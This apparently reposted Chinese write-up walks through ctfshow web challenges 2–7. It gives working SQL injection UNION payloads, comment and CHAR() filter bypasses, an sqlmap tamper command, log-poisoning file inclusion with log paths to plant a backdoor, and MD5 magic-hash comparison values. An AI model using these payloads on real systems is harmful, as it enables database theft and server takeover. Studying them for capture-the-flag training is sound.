当前位置：首页 > news >正文

ctfshow web类 2-7题

news 2025/8/15 10:14:13

签到题
右键base64解密
2、就是纯post模式的sql注入
使用联合查询进行1' union select 1,table_name,3 from information_schema.tables where table_schema=database() #
这个题有个坑就是涉及到回显位置
他这个就是回显位置是 2 这个地方其他的位置是不会回显的
获取列
1' union select 1,column_name,3 from information_schema.columns where table_name='flag' #
得到列只有一个就是flag 那就进行查询数据
1' union select 1,flag,3 from flag#
3、文件包含
4、文件包含类日志拿权

日志文件地址
linux： 
/var/log/httpd/access_log
/var/log/apache/access.log
/var/log/nginx/access.log

抓包
在日志上进行写入后门页面中有了
后门工具连接
5、 php脆弱性：
不同类型 == 转换之后只需要是相同类型的就会返回true
ctype_alpha() 检测字符串函数
https://f83cb79f-b938-4bb1-a67d-28475a3e07ab.challenge.ctf.show/?v1=QNKCDZO&v2=240610708
MD5 加密的缺陷主要还是 == 判断的是类型相同性如果加密的结果都是 0e 开头那就好出现相同性
6、sql 注入但是空格被过滤
手工：可以使用 /**/ 进行过滤掉也可以使用sqlmap自带的脚本
python3 sqlmap.py -u "" --batch -- tamper=space2morecomment --leve=3
--batch 自动选择交互内容为 y
-- tamper=space2morecomment 使用空格转换脚本
--leve=3 精细处理
7、过滤掉了空格和 ''
先进行检测
报错说明 and 1=1# 有东西被过滤了可能是 and 或者是空格
这个情况就是空格了空格被过滤可以使用注释符号代替 /**/
判断哪个是过滤掉的逻辑
我常用的方法就是在这个参数前面加上这个过滤符号看看还能不能正常显示如果正常说明这个就是被过滤了
还有一个情况就是说明被拦截了说明 ' 不能进行使用了
'' 的过滤就是 1、 16进制加密 2、使用char(97,98) 这样使用ascii进行拼接
-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
?id=-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=CHAR(102,108,97,103)#
?id=-1/**/union/**/select/**/1,2,flag/**/from/**/flag#